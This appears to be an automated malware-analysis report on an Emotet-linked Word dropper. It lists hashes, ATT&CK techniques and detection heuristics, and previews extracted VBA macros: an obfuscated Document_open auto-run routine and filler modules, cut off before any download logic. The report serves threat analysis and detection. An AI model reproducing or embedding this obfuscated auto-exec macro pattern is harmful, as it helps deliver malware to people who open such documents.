Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 a11435a686f87ac6…

MALICIOUS

Office (OLE)

266.8 KB Created: 2020-02-06 15:22:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: 5fa8d8ef94e77f90336cfdb37f3706dd SHA-1: 7a7aa3082cd8f2b20a1b289c8bfbb0893412bd4e SHA-256: a11435a686f87ac69863d09cfcda58fdbe95333fe11a3e278e433f712f5075b3
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' and the ClamAV detection 'Doc.Dropper.Emotet-7580044-0' strongly suggest this family. The VBA code likely downloads and executes a second-stage payload, a common Emotet behavior.

Heuristics 7

  • ClamAV: Doc.Dropper.Emotet-7580044-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emotet-7580044-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37720 bytes
SHA-256: 3d965bee87ea901599d21e6d4367ebf23bdca0e45076381855f9cea5a8eee26d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Aussyxwatwle"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   If 121121 <> 715924 Then
mnYaLPCBoJ = 121121 + 1989
mmUPSPeNPb = 715924 - 2013
Else
MsgBox (CStr(mnYaLPCBoJ) & CStr(mmUPSPeNPb))
End If
For aDQW = 9 To 59
DoEvents
Next aDQW
eGOgHeluFI = "omJDjGORbm"
bmxvRTTBmQ = 749513
eGOgHeluFI = eGOgHeluFI & CStr(bmxvRTTBmQ)
BAOtZRDjDs = eGOgHeluFI
 
Ocedyxvfo.Gfpkasimu
End Sub

Attribute VB_Name = "Vkeqjgee"
Attribute VB_Base = "0{7C45481B-C975-4AAD-9D11-DC4DCA4F69B0}{83F958E4-58DE-4994-9310-B5D3C48913CF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Obkpqwvbw"
Attribute VB_Base = "0{8EB58A6A-C2F2-46E7-B686-1445154D825D}{CFD07113-5CF8-436C-852E-B510537BB803}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Asfvxuyhyeaju()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Fhpnjbkx"
Attribute VB_Base = "0{1F41FD1E-EEA6-407A-9DB0-7FA865B7FBB4}{83A291E8-2A77-4148-8B52-25948605F285}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Olxpaskdcv()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Amafucaorp"
Attribute VB_Base = "0{64AA340E-FA92-4366-B90B-B17998BFEDE7}{6F84A24E-D6EF-4EE4-BE9A-C6A1B00B9C25}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Rnljsxquajj()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Sympfrzt"
Attribute VB_Base = "0{0D0FD726-DC6E-4F08-BC91-5B3E99B69ACE}{D62E4CCC-9155-435E-8E24-8F0D45A572C2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Dmehhwqty()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Ymhalefnj"
Attribute VB_Base = "0{75C2BCCC-6822-425C-90E9-C4C4A08BD13F}{B71ADEC0-DB47-4DB8-9198-87275003C1C7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Rdbeoymy()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Vghwoqixkqlr"
Attribute VB_Base = "0{A026D65B-38E3-4942-BA19-98C36DA2C748}{244AC807-B650-4171-BAAA-1220A8D9CEE2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Lfoumuflqbva()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Irhzxncf"
Attribute VB_Base = "0{6171B213-3CF2-4906-AE8C-04D2AE3F5977}{ED203B95-5C53-4167-AB93-41AC084F0B23}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Xowpyarz()
Debug.Print "nsg jjw uujsn bw" + q + "mnn iw dududud oow"
End Sub

Attribute VB_Name = "Sjjrlzqjq"
Attribute VB_Base = "0{A81A4365-1ADA-4BB1-8C8C-1441BE777678}{55F1
... (truncated)